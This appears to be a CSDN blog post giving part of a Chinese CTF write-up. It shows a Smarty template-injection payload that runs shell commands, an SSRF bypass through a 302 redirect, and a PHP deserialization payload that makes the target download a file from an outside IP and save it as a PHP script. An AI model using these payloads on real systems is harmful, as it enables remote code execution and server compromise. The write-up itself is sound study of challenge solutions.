php 上传视频时截取第一针,​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp...

本文探讨了在Smarty模板注入场景中利用GET参数获取源码,并通过302跳转实现SSRF攻击的Bypass方法。作者介绍了如何构造payload,利用Web服务读取Apache配置,以及通过反序列化技术在远程服务器上执行文件操作的过程。
摘要由CSDN通过智能技术生成

考点

smarty模板注入

思路

根据提示输入GET参数得到源码.发现为smarty模板注入

payload: ?name={if passthru ('nl fl*')}{/if}

5f4158dc82d75930606b826a66ca3305.png

★Website

考点

ssrf中使用302跳转进行bypass

思路

一开始尝试dict、file、gopher等协议,发现都被禁用了

但是可以访问其他主机,就想到用302跳转去bypass

在vps上开个web服务,内容如下

再用题目访问vps,可以看到是成功访问的

26ea4bba81c64ae16b488bdb2d85a6c2.png

接着去读取apache的配置文件

7f922772452cd2cc57dc351847a72b8d.png

7a8efa4ceeb7253f7cba2327c2b42f70.png

分别读取源码

80: web1/index.php

<?phperror_reporting (0);function check_302($url){$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirectcurl_exec($ch);$info = curl_getinfo($ch);curl_close($ch);return $info['url'];}if (isset($_GET['url'])) {$url = $_GET['url'];if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) {exit("

8080: web2/index.php

<?phpclass copy_file{public $path = 'upload/';public $file;public $url;function __destruct(){if(strpos($this - url,'http://127.0.0.1') === 0){file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));echo $this -> path.$this -> file." update successed!)";}else{echo "Hello CTFer";}}}if(isset($_GET['data'])){$data = $_GET['data'];unserialize($data);}else{echo "Welcome to CloverSec WebSite";}?>

然后就是反序列化了,在vps上写好代码

按照如下方式传参,上传代码

http://example.com@127.0.0.1:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://127.0.0.1@81.68.218.54:20003/1.txt";}b412251ad4a71847ee152715c99600ab.png

再去访问即可看到结果

http://127.0.0.1:8080/upload/1.php

★file manager

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值